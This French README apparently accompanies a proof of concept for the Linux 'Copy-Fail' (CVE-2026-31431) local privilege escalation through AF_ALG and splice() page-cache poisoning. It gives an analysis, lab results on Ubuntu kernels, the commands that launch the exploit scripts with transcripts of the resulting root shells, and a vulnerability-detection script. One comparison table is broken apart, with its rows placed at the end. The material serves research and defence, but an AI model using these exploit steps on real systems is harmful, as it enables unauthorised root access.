
Preuve de concept d'exploitation pour CVE-2026-31431 (Copy-Fail), une faille du noyau Linux AF_ALG et splice() permettant l'empoisonnement du cache de pages et l'élévation locale de privilèges. Inclut l'analyse, les résultats de laboratoire et un script de détection.
Ce dépôt contient une analyse approfondie, une Preuve de Concept (PoC) et les résultats de tests en laboratoire pour la vulnérabilité CVE-2026-31431, communément appelée « Copy-Fail ».
Copy-Fail exploite un défaut logique dans l'API Crypto du noyau Linux (AF_ALG) combiné à l'appel système splice(). Elle permet à un attaquant local non privilégié d'effectuer un empoisonnement du cache de pages (Page Cache Poisoning), conduisant à une élévation de privilèges locale (LPE).
Contrairement aux exploits traditionnels qui modifient les fichiers sur le disque, Copy-Fail cible directement le cache de pages (RAM). Lorsqu'un fichier est lu, le noyau stocke une copie en RAM pour améliorer les performances. En raison d'un bug de gestion de la mémoire dans l'algorithme authenc sur certaines versions du noyau, un attaquant peut tromper le noyau pour qu'il écrase ces pages mémoire « en lecture seule ».
En empoisonnant les pages mémoire des binaires SETUID comme /usr/bin/su, il est possible de contourner l'authentification et d'obtenir un shell root.
Des tests ont été menés sur plusieurs distributions Ubuntu, en examinant spécifiquement l'impact du rétroportage du noyau et de la gestion des correctifs.
| Distribution | Version du noyau | Date du correctif | Résultat | Observation |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | Oct 2025 | ❌ Échec | Mises à jour de sécurité actives |
| Ubuntu 22.04 | 5.15.0-125-generic | Sep 2024 | ✅ SUCCÈS | Vulnérable (non corrigé) |
| Ubuntu 18.04 | 4.15.0-197-generic | Nov 2022 | ✅ SUCCÈS | Vulnérable (non corrigé) |
Les numéros de version du noyau peuvent être trompeurs. Alors que les noyaux « plus récents » comme 6.8 sont protégés par des correctifs de sécurité, les noyaux plus anciens ou en fin de vie (EOL) comme 4.15 et 5.15 restent entièrement vulnérables en raison de l'absence de correctifs rétroportés.
Au cours de la recherche, un résultat frappant a été obtenu en testant deux systèmes Ubuntu 22.04 différents partageant la même version majeure du noyau :
| Version du noyau |
|---|
Ce test prouve que la sécurité d'un système ne peut pas être mesurée uniquement par le numéro de version majeure. Un serveur exécutant 5.15.0-125 peut être compromis en quelques secondes, alors que 5.15.0-170 bloque complètement l'attaque.
Sortie d'exploitation réussie (noyau 5.15.0-125) :
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Empoisonnement de /usr/bin/su (Ubuntu 22.04 / noyau 5.15)...
[+] Exploit terminé. Déclenchement de Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
La PoC a été développée en utilisant ctypes pour garantir la compatibilité entre différentes versions de Python (notamment pour les versions ne disposant pas du support natif os.splice).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su empoisonné (noyau 4.15)...
[+] Mémoire empoisonnée ! Déclenchement de Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. Vérifier la version du noyau
# uname -r
# 2. Vérifier les modules chargés (sûr si aucune sortie)
# lsmod | grep -E "algif_aead|authencesn"
# 3. Test critique — liaison authencesn
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITIQUE — Système vulnérable !')
s.close()
except:
print('[+] Sécurisé — authencesn inaccessible')
"
# 4. Hachage des binaires setuid (référence)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
Tableau d'évaluation :
| Résultat | Signification |
|---|---|
| Aucune sortie lsmod + erreur de liaison | ✅ Sécurisé |
| Sortie lsmod existante OU liaison réussie | ⚠️ Vulnérable, appliquer les correctifs immédiatement |
Avertissement : Cette recherche et cette PoC sont destinées uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation sur des systèmes non autorisés peut entraîner des conséquences juridiques.
| Date du correctif |
|---|
| Résultat |
|---|
| Statut |
|---|
| 5.15.0-125 | Sep 2024 | ✅ SUCCÈS | Vulnérable (exploit déclenché) |
| 5.15.0-170 | Jan 2026 | ❌ ÉCHEC | Sécurisé (corrigé) |